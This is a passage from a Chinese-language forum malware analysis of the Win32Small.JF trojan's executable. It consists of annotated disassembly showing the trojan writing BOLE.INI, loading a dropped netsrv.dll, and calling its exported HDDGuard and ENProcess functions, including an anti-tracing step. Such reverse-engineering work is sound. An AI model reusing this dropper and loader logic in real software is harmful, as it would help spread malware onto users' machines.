PS______:00403BF2 lea eax, [ebp+NumberOfBytesWritten]
PS______:00403BF5 push ebx ; lpOverlapped
PS______:00403BF6 push eax ; lpNumberOfBytesWritten
PS______:00403BF7 lea eax, [ebp+String_554]
PS______:00403BFD push eax ; lpString
PS______:00403BFE call lstrlenA ; Retrieve the length
PS______:00403C04 push eax ; nNumberOfBytesToWrite
PS______:00403C05 lea eax, [ebp+String_554]
PS______:00403C0B push eax ; lpBuffer
PS______:00403C0C push esi ; hFile
PS______:00403C0D call WriteFile ; Write BOLE.INI
PS______:00403C13 push esi ; hObject
PS______:00403C14 call CloseHandle ; Close handle of BOLE.INI
PS______:00403C1A pop edi
PS______:00403C1B pop esi
PS______:00403C1C pop ebx
PS______:00403C1D leave ; MOV ESP,EBP POP EBP
PS______:00403C1E retn
PS______:00403C1E CreateBOLE_INI endp
PS______:00403C1E
CreateBOLE_INI 到此结束,我们继续:
PS______:00403A7C push offset LibFileName ; "netsrv.dll"
PS______:00403A81 call LoadLibraryA ; Load netsrv.dll
注意:
将刚刚生成的DLL 导入进程的地址空间,系统会在LoadLibrary() 返回前调用netsrv.dll的DLLMAIN()传递参数 DLL_PROCESS_ATTACH,
关于LoadLibrary的详细信息,请参考MSDN
PS______:00403A87 mov esi, GetProcAddress
PS______:00403A8D mov edi, eax ; module handle
PS______:00403A8F push offset ProcName ; "HDDGuard"
PS______:00403A94 push edi ; hModule
PS______:00403A95 call esi ; GetProcAddress
PS______:00403A97 push offset aEnprocess ; "ENProcess"
PS______:00403A9C push edi ; hModule
PS______:00403A9D mov [ebp+var_8], eax ; Save fun address
PS______:00403AA0 call esi ; GetProcAddress
以上代码用于获取DLL中被导出的HDDGuard(),ENProcess()函数地址
PS______:00403AA2 cmp [ebp+var_8], ebx ; ebx==0 Addr of HDDGuard
PS______:00403AA5 mov [ebp+var_C], eax ; Addr of ENProcess
PS______:00403AA8 jz short loc_403ADA ; If GetProcAdd failed,jump,return
PS______:00403AAA cmp eax, ebx
PS______:00403AAC jz short loc_403ADA
检测得到的地址是否有效
PS______:00403AAE pusha ; useless
PS______:00403AAF nop
PS______:00403AB0 mov eax, 3
PS______:00403AB5 popa ; over
以下代码调用DLL中被导出的的函数
PS______:00403AB6 push offset aTail_anti ; "TAIL_ANTI" ;;;“反跟踪”,字符串很牛
PS______:00403ABB call [ebp+var_C] ; ENProcess
PS______:00403ABE mov esi, Sleep
PS______:00403AC4 push 2710h ; dwMilliseconds
PS______:00403AC9 call esi ; Sleep ; call Sleep()
PS______:00403ACB call [ebp+var_8] ; HDDGuard()
PS______:00403ACE push offset aTail_jqg ; "TAIL_JQG"
PS______:00403AD3 call [ebp+var_C] ; ENProcess()
PS______:00403AD6 push 0FFFFFFFFh ; dwMilliseconds
PS______:00403AD8 call esi ; Sleep
PS______:00403ADA
PS______:00403ADA loc_403ADA: ; CODE XREF: start+162 j
PS______:00403ADA ; start+173 j ...
PS______:00403ADA pop edi
PS______:00403ADB pop esi
PS______:00403ADC xor eax, eax
PS______:00403ADE pop ebx
PS______:00403ADF leave
PS______:00403AE0 retn 10h
PS______:00403AE0 start endp
PS______:00403AE0
PS______:00403AE3
篇幅较长,希望读者可以耐心看完,Good Luck!
- 标 题:Win32Small.JF木马exe部分完全解析
- 作 者:ufozhyufo
- 时 间:2008-10-12 18:14
- 链 接:http://bbs.pediy.com/showthread.php?t=74512